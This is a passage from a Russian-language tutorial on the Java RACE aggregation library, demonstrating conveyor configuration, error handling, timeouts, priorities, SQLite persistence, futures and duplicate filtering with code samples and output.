Как видно, мы вынесли литералы в поля, а так же создали соответствующие сеттеры. Какие-то дефолтные значения можно, разумеется, задать прямо в коде, как в данном примере, но нас интересует динамическая настройка.
Во первых, мы можем изменить способ создания экземпляра строителя. вместо
```
// Конвейер создает экземпляр строителя с помощью дефолтного конструктора
greetingAggregator.setBuilderSupplier(GreetingBuilder::new);
```
Можно определить Supplier по-другому:
```
// Альтернативный способ инициализации строителя
greetingAggregator.setBuilderSupplier(()->{
GreetingBuilder greetingBuilder = new GreetingBuilder();
greetingBuilder.spacer(", ");
greetingBuilder.eol("!");
return greetingBuilder;
});
```
Разумеется, раз уж мы создали сеттеры для пробела и окончания строки, мы можем рассматривать их как обычные сообщения. Отличительной особенностью будет то, что они должны быть гарантировано обработаны до получения главных значений приветствия и имени. Обратите внимание, мы не изменили определение для предиката готовности. Это значит, что получение или не получение необязательных полей SPACER или EOL никак не повлияет на момент наступления готовности. Это не является существенной проблемой, если начало процесса агрегации хорошо определено, а входящая очередь FIFO.
```
public enum GreetingLabel implements SmartLabel {
GREETING(GreetingBuilder::greeting)
,NAME(GreetingBuilder::name)
,SPACER(GreetingBuilder::spacer)
,EOL(GreetingBuilder::eol);
final BiConsumer consumer;
GreetingLabel(BiConsumer consumer) {
this.consumer = (BiConsumer) consumer;
}
@Override
public BiConsumer get() {
return consumer;
}
}
```
Теперь, как обычно, посылаем значения.
```
// В начале посылаем строки для пробела и окончания приветствия
greetingAggregator.part().id(correlationID).label(SPACER).value(", ").place();
greetingAggregator.part().id(correlationID).label(EOL).value("!").place();
// Затем приветствие и имя
greetingAggregator.part().id(correlationID).label(GREETING).value("Hello").place();
greetingAggregator.part().id(correlationID).label(NAME).value("World").place();
```
Что делать, если начало сборки определяется с трудом, да и просто нет желания загромождать очередь лишними сообщениями? Можно определить статические данные.
```
// Посылаем статические данные для пробела и окончания строки
// Они будут применяться ко всем агрегатам.
greetingAggregator.staticPart().label(SPACER).value(",\n").place();
greetingAggregator.staticPart().label(EOL).value(";").place();
```
Статические данные связаны с биркой, хранятся в единственном экземпляре на уровне конвейера, и автоматически применяются сразу после создания экземпляра строителя. Так что, если вы все же решите позже послать эти значения обычным образом, новые данные перезапишут ранее установленные статические блоки.
Если вы заметили, загрузчик для staticPart не имеет метода id(), так как относится ко всем будущим сборкам. Изменение staticPart возможно и в середине цикла программы, но оно не окажет влияния на уже начатые сборки.
### Параметризация
Иногда возникает необходимость сохранить и передать информацию, которая не является частью продукта. Например. Пусть мы хотим не просто составить и напечатать строку с приветствием, а отправить это приветствие клиенту по электронной почте. У каждого клиента, конечно, свой собственный e-mail. Проблема заключается в том, что само сообщение этой информации не содержит. И, даже если бы содержало, извлечь эту информацию обратно из готовой строки и сложно, и бессмысленно. Возможное решение могло бы состоять в переопределении продукта таким образом, чтобы он содержал как текст приветствия, так и необходимые для общения с клиентом электронной почты метаданные. Но, это не слишком элегантное решение, навязывающее изменение существующего контракта. Загрузчик сообщений позволяет добавить с сообщению дополнительные атрибуты, которые хранятся все время существования сборки и доступны консьюмеру продукта.
```
// Обогащаем любое сообщение дополнительными атрибутами.
greetingAggregator.part().id(correlationID).label(SPACER).value(", ")
.addProperty("E-MAIL","mail@user.info")
.addProperty("SUBJECT","Greetings from RACE").place();
```
Консьюмер продукта имеет доступ к параметрам
```
// Продукт выводим в стандартный поток вывода вместе с е-мэйлом и сабжектом
greetingAggregator.resultConsumer(bin-> {
String eMail = (String) bin.properties.get("E-MAIL");
String subject = (String) bin.properties.getOrDefault("SUBJECT","Greetings");
System.out.println("MailTo: "+eMail);
System.out.println("Subject: "+subject);
System.out.println(bin.product);
}).set();
```
### Обработка ошибок
Рано или поздно в любом потоке данных может возникнуть сбой. Это может произойти на любом этапе. На этапе начальной загрузки сообщения, на этапе его обработки, на этапе сборки продукта, и, наконец, на этапе отправки в выходной поток. Виды ошибок так же ничем не ограничены.
В конвейере обращение с потоком ошибок похоже на работа с потоком результатов. Существует функциональный интерфейс ScrapConsumer который можно настроить под любые нужды пользователя. Продолжая развивать наш пример, настроем конвейер так, чтобы он отвергал пустые приветствия и имена. Сделаем это двумя способами.
Для начала, добавим две строчки к конфигурации конвейера:
```
// Добавим проверку, что никакие значения не равны NULL
greetingAggregator.addCartBeforePlacementValidator(cart->{
Objects.requireNonNull(cart.getValue(),"Value is NULL for label '"+cart.getLabel()+"'");
});
// Ошибки выводим в стандартный поток ошибок
greetingAggregator.scrapConsumer(bin->System.err.println(bin)).set();
```
И немного доработаем наш строитель, добавим в него простую валидацию и метод toString для облегчения диагностики
```
// Сеттер для приветствия
public void greeting(String value) {
requireNonBlank(value,"Greeting is blank");
greeting = value;
}
// Сеттер для имени
public void name(String value) {
requireNonBlank(value,"Name is blank");
name = value;
}
// Простой валидатор проверяет, что строки содержат не пустое значение
private static void requireNonBlank(String value, String message) {
if(value.isBlank()) throw new RuntimeException(message);
}
@Override
public String toString() {
final StringBuilder sb = new StringBuilder("GreetingBuilder{");
sb.append("greeting='").append(greeting).append('\'');
sb.append(", name='").append(name).append('\'');
sb.append('}');
return sb.toString();
}
```
Теперь, если мы попробуем послать null или строку состоящую из пробелов в качестве значения, эти сообщение будут отвергнуты.
```
greetingAggregator.part().id(correlationID2).label(GREETING).value(null).place();
greetingAggregator.part().id(correlationID2).label(NAME).value(" ").place();
```
Конвейер выдаст в поток ошибок сообщения типа
```
ScrapBin [CART_REJECTED conveyor=AssemblingConveyor 15 key=dd1c5180-7961-44d2-ac84-6087b0784414: Value is NULL for label 'GREETING'; PART [key=dd1c5180-7961-44d2-ac84-6087b0784414, value=null, label=GREETING, expirationTime=0] error=Value is NULL for label ‘GREETING']
ScrapBin [DATA_REJECTED conveyor=AssemblingConveyor 15 key=dd1c5180-7961-44d2-ac84-6087b0784414: Site Processor failed; BuildingSite [builder=GreetingBuilder{greeting='null', name='null'}, initialCart=PART [key=dd1c5180-7961-44d2-ac84-6087b0784414, value=, label=NAME, expirationTime=0], acceptCount=0, builderCreated=1663276732584, builderExpiration=0, status=INVALID, unexpireable, lastError=java.lang.RuntimeException: Name is blank, eventHistory={NAME=0}] error=Name is blank]
```
Обработчик остатков от сборки предоставляет доступ к ошибке, блоку данных, вызвавшему проблему, а так же экземпляру строителя со всей накопленной на данный момент информацией.
### Управление жизненным циклом
Что произойдет, если мы в текущем примере пошлем только одно сообщение из двух? Приложение окажется заблокированным вечным ожиданием получения второго блока данных. С практической точки зрения, если нам известно, что сборка с определённым CORRELATION\_ID не может быть завершена, проще всего сделать отмену.
```
greetingAggregator.command().id(correlationID).cancel();
```
Здесь мы видим новый способ общения с конвейером - команда. Команды отличаются от прочих сообщений тем, что всегда имеют максимальный приоритет и отдельную очередь обработки. Команда отмены немедленно удаляет экземпляр строителя. Если вы хотите произвести какие либо действия связанные с отменой, например, совершить действия предусмотренные обработчиком остатков, создайте специальную бирку для обработки отмены. Например, так:
```
CANCEL((a,reason)->{throw new RuntimeException("Greeting aggregation has been canceled. Reason: '"+reason+"'");})
```
Отмена будет выглядеть так:
```
greetingAggregator.part().id(correlationID).label(CANCEL).value("for the demo").place();
```
Соответствующий вывод в поток ошибок:
```
ScrapBin [DATA_REJECTED conveyor=AssemblingConveyor 15 key=14e8c712-97d8-4d31-8ea9-9123e61913c5: Site Processor failed; BuildingSite [builder=GreetingBuilder{greeting='null', name='null'}, initialCart=PART [key=14e8c712-97d8-4d31-8ea9-9123e61913c5, value=for the demo, label=CANCEL, expirationTime=0], acceptCount=0, builderCreated=1663607396196, builderExpiration=0, status=INVALID, unexpireable, lastError=java.lang.RuntimeException: Greeting aggregation has been canceled. Reason: 'for the demo', eventHistory={CANCEL=0}] error=Greeting aggregation has been canceled. Reason: 'for the demo']
```
Вышеописанный подход содержит в себе проблему. Он возлагает на разработчика полную ответственность за мониторинг всех событий связанных с конкретной сборкой. Дело в том, что даже если известно, что какой-то канал выдал ошибку, другие каналы могут не знать об этом, и продолжать слать свои сообщения. Более того, эти сообщения могут быть уже приняты и кешированы входящей очередью. Если мы сконструировали наш конвейер так как это сделано в данных примерах, то даже если мы отменим сборку, первое же сообщение с тем же самым CORRELATION\_ID восстановит строительство, но оно, конечно, не будет содержать необходимых данных, а лишь те, которые пришли после отмены.
Если мы можем четко определить событие начала сборки, мы можем послать команду создать экземпляр строителя в явном виде, передав ему в качестве параметра Supplier строителя.
```
// Создаем экземпляр конвейера
Conveyor greetingAggregator = new AssemblingConveyor<>();
// Ошибки выводим в стандартный поток ошибок
greetingAggregator.scrapConsumer(bin->System.err.println(bin)).set();
// Продукт выводим в стандартный поток вывода
greetingAggregator.resultConsumer(bin->System.out.println(bin.product)).set();
// Задаем предикат готовности
greetingAggregator.setReadinessEvaluator(Conveyor.getTesterFor(greetingAggregator).accepted(GREETING,NAME));
// Тестируем:
// Используем случайный CORRELATION\_ID
UUID correlationID = UUID.randomUUID();
// Создаем экземпляр загрузчика строителя. Он может быть использован повторно
var builderLoader = greetingAggregator.build().supplier(GreetingBuilder::new);
// Первым посылаем запрос создать экземпляр строителя
builderLoader.id(correlationID).create();
// Посылаем данные.
greetingAggregator.part().id(correlationID).label(GREETING).value("Hello").place();
greetingAggregator.part().id(correlationID).label(NAME).value("World").place();
// Первым посылаем запрос создать экземпляр строителя
builderLoader.id(correlationID).create();
greetingAggregator.part().id(correlationID).label(GREETING).value("Hi").place();
greetingAggregator.part().id(correlationID).label(CANCEL).value("for the demo").place();
greetingAggregator.part().id(correlationID).label(NAME).value("Planet").place();
// Ждем завершения всех активных сборок и останавливаем конвейер
greetingAggregator.completeAndStop().join();
```
Вывод
```
Hello, World!
ScrapBin [DATA_REJECTED conveyor=AssemblingConveyor 15 key=a111c7ea-d19a-4f3f-b77a-bf5c8ae34249: Site Processor failed; BuildingSite [builder=GreetingBuilder{greeting='Hi', name='null'}, initialCart=BUILDER [key=a111c7ea-d19a-4f3f-b77a-bf5c8ae34249, value=com.aegisql.demo.demo_05.Demo$$Lambda$112/0x0000000800c1d830@1889eb25, label=null, expirationTime=0], acceptCount=1, builderCreated=1663709969467, builderExpiration=0, status=INVALID, unexpireable, lastError=java.lang.RuntimeException: Greeting aggregation has been canceled. Reason: 'for the demo', eventHistory={null=0, GREETING=1}] error=Greeting aggregation has been canceled. Reason: 'for the demo']
ScrapBin [GENERAL_FAILURE conveyor=AssemblingConveyor 15 key=a111c7ea-d19a-4f3f-b77a-bf5c8ae34249: Cart Processor Failed; PART [key=a111c7ea-d19a-4f3f-b77a-bf5c8ae34249, value=Planet, label=NAME, expirationTime=0] error=Builder Supplier is not set]
```
Отличие от первого примера в том, что мы не стали устанавливать дефолтный Supplier. Вместо этого, в начале сборки мы посылаем сообщение с инструкцией как его получить. Соответственно, первый набор данных отрабатывается как и раньше, выдавая сообщение Hello, World!, а во втором, блок с биркой NAME был помещен в очередь уже после отмены, не сможет создать экземпляр строителя, и будет обработан сборщиком остатков.
Что если мы не можем четко определить событие начала сборки? В этом случае можно определить максимальное время ожидания. Добавим следующую строчку к конфигурации конвейера.
```
// Задаем время таймаута
greetingAggregator.setDefaultBuilderTimeout(Duration.ofSeconds(3));
```
И посылаем неполные данные
```
// Используем случайный CORRELATION_ID
UUID correlationID = UUID.randomUUID();
// Посылаем частичные данные.
greetingAggregator.part().id(correlationID).label(GREETING).value("Hi").place();
// Ждем завершения всех активных сборок и останавливаем конвейер. Конвейер не будет заблокирован
greetingAggregator.completeAndStop().join();
```
Вывод, который последует приблизительно через три секунды:
```
ScrapBin [BUILD_EXPIRED conveyor=AssemblingConveyor 15 key=1ee13787-ab35-4991-94f9-d3f249b43d59: Site expired. No timeout action; BuildingSite [builder=GreetingBuilder{greeting='Hi', name='null'}, initialCart=PART [key=1ee13787-ab35-4991-94f9-d3f249b43d59, value=Hi, label=GREETING, expirationTime=0], acceptCount=1, builderCreated=1663711576971, builderExpiration=1663711579971, status=TIMED_OUT, delay=-35, eventHistory={GREETING=1}]]
```
Можно задать таймаут и по-другому. Если требуется более индивидуальный подход, время таймаута можно включить непосредственно в загрузчик данных или строителя.
```
var builderLoader = greetingAggregator
.build()
.supplier(GreetingBuilder::new)
.ttl(Duration.ofSeconds(3));
// Или
greetingAggregator
.part()
.id(correlationID)
.label(GREETING)
.value("Hello")
.ttl(Duration.ofSeconds(3))
.place();
```
Можно задать и абсолютный момент времени.
```
// Вычисляем начало следующего дня
Instant midnight = LocalDate.now().atStartOfDay(ZoneId.systemDefault()).plusDays(1).toInstant();
// Сборка завершится в полночь
greetingAggregator
.part()
.id(correlationID)
.label(GREETING)
.value("Hello")
.expirationTime(midnight)
.place();
```
До сих пор мы рассматривали пример где вся конфигурация агрегации задавалась на уровне конвейера. Это было просто, но иногда нам может потребоваться дополнительная гибкость. Давайте рассмотрим примеры где управление сборкой осуществляется самими полученными данными. Для этого строитель может быть декорирован несколькими вспомогательными интерфейсами.
Пусть задачей следующего примера будет получать от пользователей произвольные строки и соединять их пробелами. Критерием окончания ввода будет введение пустой строки, либо по истечении 5 секунд с момента последнего ввода. Если пользователь ввел хоть одну строку это должно рассматриваться как успех, если ни одной строку так и не было послано - как ошибка.
Первый из интерфейсов - Testing с методом boolean test(). Метод задает предикат готовности. Если строитель имплементирует этот интерфейс, то он и будет решать когда строитель готов произвести продукт на основе собранных данных.
Второй - TimeoutAction с методом void onTimeout(). В этом методе можно произвести некоторые действия на случай возникновения тайм-аута. Если это требуется, конечно. Если метод onTimeout определен, то сразу после него будет вызван метод test(). И если он вернет true, то агрегатор перейдет к сборке продукта. В противном случае, возникнет ошибка тайм-аута.
Третий интерфейс - Experiable с методом long getExpirationTime(). Метод должен вернуть значение в миллисекундах абсолютного времени наступления тайм-аута.
Возможная имплементация класса строителя:
```
public class ConcatStringBuilder implements Supplier, TimeoutAction, Testing, Expireable {
// Накапливаем результат в буфере
StringBuilder sb = new StringBuilder();
// Состояние готовности
boolean ready = false;
long timestamp;
// Время таймаута
private long expirationTime = System.currentTimeMillis() + 5000;
// Фабрика продукта
@Override
public String get() {
return sb.toString();
}
// Сеттер для частей
public void stringPart(String part) {
// Согласно требованию, пустая строка является признаком окончания ввода
if(part.isEmpty()) {
// Готово
ready = true;
} else {
// Добавляем пробел
if (!sb.isEmpty()) {
sb.append(" ");
}
// Присоединяем часть
sb.append(part);
}
// Сдвигаем время таймаута на 5 секунд в будущее
expirationTime = System.currentTimeMillis() + 5000;
}
// Метод интерфейса TimeoutAction
@Override
public void onTimeout() {
// Вычисляем задержку
long delta = System.currentTimeMillis() - expirationTime;
if(delta > 0) { // Истинный таймаут
// Готово если есть накопленные строки
ready = ! sb.isEmpty();
} else { // expirationTime успел обновиться раньше срабатывания таймера
// ждем еще delta миллисекунд
expirationTime = System.currentTimeMillis() - delta;
}
}
// Предикат готовности, метод интерфейса Testing
@Override
public boolean test() {
return ready;
}
// метод интерфейса Expireable возвращает время наступления таймаута
@Override
public long getExpirationTime() {
return expirationTime;
}
}
```
Единственный тип данных в этом примере это строки. Обработка особого случая пустой строки происходит в том же методе где и все прочие строки. Поэтому, бирка выглядит просто.
```
public enum StringPartLabel implements SmartLabel {
PART; // Только один тип блоков. Дифференциация производится самим строителем
@Override
public BiConsumer get() {
return (builder,part)->builder.stringPart(((String)part).trim());
}
}
```
Наконец, создаем агрегатор и тестируем:
```
// Будем читать строки из стандартного ввода
Scanner scanner = new Scanner(System.in);
// Создаем конвейер
AssemblingConveyor stringConcatenator = new AssemblingConveyor<>();
// Даем конвейеру имя
stringConcatenator.setName("string\_concatenator");
// Задаем метод создания строителя
stringConcatenator.setBuilderSupplier(ConcatStringBuilder::new);
// Обработчик ошибок
stringConcatenator.scrapConsumer(bin->System.err.print(bin)).set();
// Обработчик продукта
stringConcatenator.resultConsumer(bin->System.out.print(bin.product)).set();
// Разрешаем динамически сдвигать время таймаута
stringConcatenator.enablePostponeExpiration(true);
// Разрешаем динамически сдвигать время таймаута если таймаут уже произошел
stringConcatenator.enablePostponeExpirationOnTimeout(true);
// Читаем ввод
String nextLine = "next";
while ( true ) {
// Получаем строку
nextLine = scanner.nextLine();
// Посылаем конвейеру
stringConcatenator.part().id("test").value(nextLine).label(PART).place();
// Обработаем только одну серию строк. Достаточно для теста
if(nextLine.isBlank()) break;
}
// Подождем окончания обработки
stringConcatenator.completeAndStop().join();
```
Ввод/Вывод:
```
1
2
3
4
1 2 3 4
Process finished with exit code 0
```
Можно поэкспериментировать с кодом, посмотреть как отодвигается время тайм-аута в зависимости от активности пользователя.
### Приоритеты
Выше обсуждался случай обработки данных из перегруженного агрегатора, когда для улучшения отзывчивости системы полезно устанавливать приоритет извлечения из очереди. Для того чтобы конвейер начал понимать приоритет блока данных, устанавливаемый пользователем, он должен получить в явном виде тип очереди с поддержкой приоритетов.
```
// Создаем конвейер с поддержкой приоритетов
AssemblingConveyor stringConcatenator = new AssemblingConveyor<>(PriorityBlockingQueue::new);
// Даем конвейеру имя
stringConcatenator.setName("string\_concatenator");
// Задаем метод создания строителя
stringConcatenator.setBuilderSupplier(ConcatStringBuilder::new);
// Обработчик ошибок
stringConcatenator.scrapConsumer(bin->System.err.print(bin)).set();
// Обработчик продукта
stringConcatenator.resultConsumer(bin->System.out.print(bin.product)).set();
// Разрешаем динамически сдвигать время таймаута
stringConcatenator.enablePostponeExpiration(true);
// Разрешаем динамически сдвигать время таймаута если таймаут уже произошел
stringConcatenator.enablePostponeExpirationOnTimeout(true);
// Приостановить конвейер
stringConcatenator.suspend();
// Помещаем данные в очередь в обратном порядке, но с приоритетами
stringConcatenator.part().id("test").value("three").priority(1).label(PART).place();
stringConcatenator.part().id("test").value("two").priority(2).label(PART).place();
stringConcatenator.part().id("test").value("one").priority(3).label(PART).place();
// Восстанавливаем чтение из очереди
stringConcatenator.resume();
// Завершаем ввод
stringConcatenator.part().id("test").value("").priority(0).label(PART).place();
// Ждем окончания обработки
stringConcatenator.completeAndStop().join();
```
Вывод:
```
one two three
```
Обратите, так же, внимание на методы suspend/resume, позволяющие временно приостановить/возобновить чтение данных из очереди.
### Персистенс
Если прервать выполнение теста до наступления тайм-аута, то все накопленные в памяти данные будут потеряны. RACE имеет собственную поддержку персистенс на базе произвольной БД с поддержкой JDBC и достаточно общими требованиями к работе с таблицами. Пользователь может цконфигурировать персистенс для уже имеющейся в наличии БД, либо воспользоваться одной из поддерживаемых конфигураций. На настоящий момент поддерживаются MySQL, MariaDB, PostgreSQL, SQLITE и DerbyDB. При наличии достаточных прав вся конфигурация БД, таблиц и индексов может производиться автоматически. Это удобно для тестирования и автоматизации развертывания программ.
Включения персистенс для предыдущего примера не требуется никаких изменений классов строителя и бирки, и минимальные изменения в демо примере. Воспользуемся конфигурацией на базе SQLITE. Если у вас есть БД клиент можно открыть им файл string\_parts, если вас интересуют детали хранения блоков данных и их атрибутов.
```
// Будем читать строки из стандартного ввода
Scanner scanner = new Scanner(System.in);
// Контейнер для correlationId
AtomicInteger correlationId = new AtomicInteger(0);
// Создаем персистенс для временного хранения частей
JdbcPersistence persistence = JdbcPersistenceBuilder
.presetInitializer("sqlite", Integer.class) // на базе SQLITE
.database("string\_parts") // имя базы данных
.autoInit(true) // создать БД и необходимые таблицы и индексы автоматически
.setArchived() // при архивации устанавливать флаг ARCHIVED
.maxBatchSize(1) // Частота работы архиватора для теста должна быть максимальной
.labelConverter(StringPartLabel.class) // конвертер в/из строки для бирок
.build(); // создать персистенс
// Создаем конвейер
AssemblingConveyor c = new AssemblingConveyor<>();
// Задаем метод создания строителя
c.setBuilderSupplier(ConcatStringBuilder::new);
// Обработчик ошибок - по окончании увеличиваем на единицу correlationId
c.scrapConsumer(bin->System.err.print(bin)).andThen(bin->correlationId.incrementAndGet()).set();
// Обработчик продукта - по окончании увеличиваем на единицу correlationId
c.resultConsumer(bin->System.out.print(bin.product)).andThen(bin->correlationId.incrementAndGet()).set();
// Разрешаем динамически сдвигать время таймаута
c.enablePostponeExpiration(true);
// Разрешаем динамически сввигать время таймаута если таймаут уже произошел
c.enablePostponeExpirationOnTimeout(true);
// Создаем PersistentConveyor
PersistentConveyor stringConcatenator = persistence.wrapConveyor(c);
// Даем имя конвейеру
stringConcatenator.setName("string\_concatenator");
// Ищем сохраненный незавершенный correlationId или устанавливаем 1
Integer lastKey = persistence.getAllParts().stream().map(Cart::getKey).findFirst().orElse(1);
// Устанавливаем текущий correlationId
correlationId.set(lastKey);
// Читаем ввод
String nextLine = "next";
while ( true ) {
// Получаем строку
nextLine = scanner.nextLine();
// Посылаем конвейеру - возвращаемое Future возвращает true после успешной обработки очередного блока
CompletableFuture future = stringConcatenator.part().id(correlationId.get()).value(nextLine).label(PART).place();
// Обработаем только одну серию строк. Достаточно для теста
if(nextLine.isBlank()) {
future.join(); // Подождем окончания обработки последнего блока
break; // Выход
}
}
// Безусловная остановка конвейера.
// Все незавершенные сборки будут переданы обработчику остатков
stringConcatenator.stop();
```
Тестирование будет состоять из двух этапов. На первом этапе мы введем несколько строк, после чего, не дожидаясь тайм-аута, прервем выполнение теста. Затем мы повторно запустим тест и продолжим ввод. После окончания результат должен содержать оба набора токенов.
```
1
1
1
1
1
Process finished with exit code 130 (interrupted by signal 2: SIGINT)
```
Перезапускаем тест
```
2
2
2
2
2
1 1 1 1 1 2 2 2 2 2
Process finished with exit code 0
```
Как видно, работа с персистенс очень проста, Любой уже имеющийся конвейер просто “оборачивается” в сконфигурированный экземпляр персистенс. И полученный таким образом конвейер перед тем как передать блоки данных строитель автоматически начинает сохранять их в базе данных, и хранит их там до успешного окончания сборки. После окончания сборки данные архивируются. Архивация это отдельный асинхронный процесс. Ее частота и стратегия настраиваются отдельно. Есть несколько способов архивации. В данном примере все записи никуда не перемещаются, но помечаются флагом ARCHIVED. Другие варианты архивации - полное удаление записей, перемещение записей в другую таблицу, перемещение записей в двоичные файлы, и некоторые другие.
В базе данных информация хранится в двоичном виде. Конвертация для всех примитивных типов, строк, коллекций, массивов и Serializable объектов происходит автоматически. Если этого не достаточно, пользователь может создать двоичный конвертер который лучше отвечает его потребностям. Например, на базе AVRO или PROTOBUF.
Все данные могут быть зашифрованы перед записью в БД.
### Синхронизация
На пути между размещением блока данных во входящей очереди и обработкой этого блока методом строителя может произойти множество непредвиденных событий. Входящая очередь может оказаться переполненной, у приложения закончится свободная память, данные устареют по пути, строитель откажется принимать неожиданный тип или значение, агрегация может быть отменена, а конвейер остановлен. Клиент посылающий данные должен уметь обнаружить ситуацию, когда данные не достигают цели.
Загрузчики данных и команд возвращают CompletableFuture
```
CompletableFuture future = stringConcatenator.part().id(correlationId.get()).value(nextLine).label(PART).place();
```
Future позволяет синхронизировать обработку строительного блока с потоком из которого он был послан.
```
try {
Boolean dataProcessed = future.join(); // Подождем окончания обработки последнего блока
if (dataProcessed) {
System.out.println("Conveyor processed data");
} else {
System.err.println("Conveyor rejected data");
}
} catch (RuntimeException e) {
System.err.println("Conveyor failed processing data. "+e.getMessage());
}
```
Как правило, синхронизировать обработку каждого сообщения не требуется, поскольку это может резко снизить эффективность работы агрегатора. Часто бывает полезно дождаться результата последнего блока из бэтча данных. К этому моменту все ранее полученные Futures уже будут завершены и содержать данные, которые можно обработать эффективно, не блокируя работу потоков дольше необходимого.
Если каткой-то процесс начал агрегацию, то, с хорошей долей вероятности, он же заинтересован в получении результата. На этом месте чаще всего и спотыкаются многие другие имплементации агрегаторов. Простой пример - почти любое клиент-серверное приложение. Клиент отправляет запрос и он же ожидает ответ, причем здесь и сейчас, а не потом и не через колбэк. Тем более, что ответом, вообще говоря, может быть не только ожидаемый продукт, но и всевозможные исключения. Клиентов может быть много, их количество и тип может меняться динамически, а выходной поток у конвейера один. Не самое удобное для имплементации решение. Выходной поток не должен зависеть от количества и вида клиентов.
К счастью, конвейер разрешает любому клиенту запросить будущее продукта с известным CORRELATION\_ID.
```
// Создаем экземпляр конвейера
Conveyor greetingAggregator = new AssemblingConveyor<>();
// Продукт будем получать через Future
greetingAggregator.resultConsumer(IgnoreResult.of(greetingAggregator)).set();
// Задаем предикат готовности
greetingAggregator.setReadinessEvaluator(Conveyor.getTesterFor(greetingAggregator).accepted(GREETING,NAME));
// Тестируем:
// Используем случайный CORRELATION\_ID
UUID correlationID = UUID.randomUUID();
// Инициируем агрегацию
greetingAggregator.build().id(correlationID).supplier(GreetingBuilder::new).create();
// Запрашиваем будущее
CompletableFuture greetingFuture = greetingAggregator.future().id(correlationID).get();
// Посылаем данные.
greetingAggregator.part().id(correlationID).label(GREETING).value("Hello").place();
greetingAggregator.part().id(correlationID).label(NAME).value("World").place();
// Ждем результат
String greeting = greetingFuture.join();
// Используем
System.out.println(greeting);
// Останавливаем конвейер
greetingAggregator.stop();
```
Количество Futures затребованных разными потоками может быть произвольным, и все они получат результат в свое распоряжение.
### Дубликаты и уведомления
Допустим, нам необходимо накапливать численные данные в виде их суммы. Строитель для такой задачи чрезвычайно прост.
```
public class SummaBuilder implements Supplier {
// Храним сумму
private double summa = 0;
// Возвращаем сумму
@Override
public Double get() {
return summa;
}
// Добавляем значение
public void add(Double x) {
summa += x;
}
}
```
Соответствующие бирки для конвейера можно определить так:
```
public enum SummaLabel implements SmartLabel {
ADD\_VALUE(SummaBuilder::add) // Добавить значение
,DONE((b,v)->{/\*do nothing\*/}) // Закончить суммирование
;
private final BiConsumer consumer;
SummaLabel(BiConsumer consumer) {
this.consumer = (BiConsumer) consumer;
}
@Override
public BiConsumer get() {
return consumer;
}
}
```
Предположим, что канал ввода не устойчив, и в случае сбоя ввод возобновляется с произвольной позиции. Для получения правильной суммы это не приемлемо. Каждое значение должно быть обработано ровно один раз. Очевидно, что мы должны каким-то образом сохранить и обработать идентификатор позиции каждого блока данных. Для этого мы можем воспользоваться дополнительными атрибутами, а так же механизмами валидации и уведомления.
Создадим фильтр способный хранить идентификаторы значений текущих сборок:
```
public class DuplicatesFilter {
// Имя параметра используемое загрузчиком
public static String VALUE_ID = "VALUE_ID";
// Храним уникальные VALUE_ID для каждого CORRELATION_ID
private Map> valueIds = new HashMap<>();
// Валидатор
public Consumer> getValidator() {
return cart->{
Integer valueId = cart.getProperty(VALUE\_ID, Integer.class);
if(valueId == null) {
return; // Игнорируем данные не помеченные VALUE\_ID
}
Integer key = cart.getKey(); // CORRELATION\_ID
Set ids = valueIds.computeIfAbsent(key, k -> new HashSet<>());
if(ids.contains(valueId)) { // Дубликат обнаружен
throw new RuntimeException("Duplicate found for "+key+"#"+valueId+" value="+cart.getValue());
} else { // Сохранить VALUE\_ID
ids.add(valueId);
}
};
}
// Действие после завершения суммирования
public Consumer> getAcknowledge() {
return status->{
// Суммирование завершено. Удаляем накопленные VALUE\_IDs для данного CORRELATION\_ID
valueIds.remove(status.getKey());
};
}
}
```
Мы уже рассматривали пример валидатора, но, в данном случае, не достаточно просто сохранять уже обработанные идентификаторы. Так как это приведет к неконтролируемому расходу памяти. После окончания сборки необходимо подчистить ресурсы и, возможно, послать уведомление источнику о статусе завершения подсчета суммы. Этим и занимается консьюмер возвращаемый методом getAcknowledge().
Конфигурация конвейера и тест выглядят следующим образом:
```
// Создаем экземпляр фильтра
DuplicatesFilter filter = new DuplicatesFilter();
// Создаем конвейер
AssemblingConveyor summator = new AssemblingConveyor<>();
// Устанавливаем имя
summator.setName("summator");
// Метод создания строителя
summator.setBuilderSupplier(SummaBuilder::new);
// Обработчик продукта
summator.resultConsumer(bin->System.out.println("Summa["+bin.key+"] = "+bin.product)).set();
// Обработчик ошибок
summator.scrapConsumer(bin->System.err.println(bin)).set();
// Добавляем фильтр не пустых значений. Строитель не проверяет на null
summator.addCartBeforePlacementValidator(CommonValidators.CART\_VALUE\_NOT\_NULL());
// Добавляем фильтр дубликатов
summator.addCartBeforePlacementValidator(filter.getValidator());
// Добавляем уведомление по окончании агрегации
summator.addBeforeKeyEvictionAction(filter.getAcknowledge());
// Заканчиваем когда получили бирку DONE
summator.setReadinessEvaluator(Conveyor.getTesterFor(summator).accepted(DONE));
// Получаем загрузчики
var loader = summator.part().label(ADD\_VALUE);
var done = summator.part().label(DONE).value(0);
// Посылаем null
loader.id(1).value(null).place();
// Посылаем данные с дубликатом без VALUE\_ID
loader.id(1).value(0.1).place();
loader.id(1).value(0.2).place();
loader.id(1).value(0.2).place(); // дубликат будет просуммирован
loader.id(1).value(0.3).place();
done.id(1).place();
// Данные помеченные VALUE\_ID будут проверены на наличие дубликатов
loader.id(2).value(0.1).addProperty(VALUE\_ID,10001).place();
loader.id(2).value(0.2).addProperty(VALUE\_ID,10002).place();
loader.id(2).value(0.2).addProperty(VALUE\_ID,10002).place(); // дубликат будет отвергнут фильтром
loader.id(2).value(0.3).addProperty(VALUE\_ID,10003).place();
done.id(2).place().join();
// Останавливаем конвейер
summator.stop();
```
Вывод. Первая сумма посчитана неверно. Во втором случае дубликат отвергнут и сумма верна. Значение null отвергнуто:
```
ScrapBin [CART_REJECTED conveyor=summator key=1: Cart is null; PART [key=1, value=null, label=ADD_VALUE, expirationTime=0] error=Cart is null]
ScrapBin [CART_REJECTED conveyor=summator key=2: Duplicate found for 2#10002 value=0.2; PART [key=2, value=0.2, label=ADD_VALUE, expirationTime=0, properties={VALUE_ID=10002}] error=Duplicate found for 2#10002 value=0.2]
Summa[1] = 0.8
Summa[2] = 0.6000000000000001
```
За действие в ответ на окончание сборки отвечает алгоритм установленный методом addBeforeKeyEvictionAction(…). Метод получает консьюмер со статусом окончания. Статус содержит ключ, флаг статуса и все атрибуты только-что завершенной сборки. Таким же образом можно добавить нотификатор уведомляющий источник об успешном, или не успешном завершении обработки очередного CORRELATION\_ID. Как и в случае с фильтрами-валидаторами можно добавлять неограниченное количество нотификаторов.
### Присматриваем за агрегацией
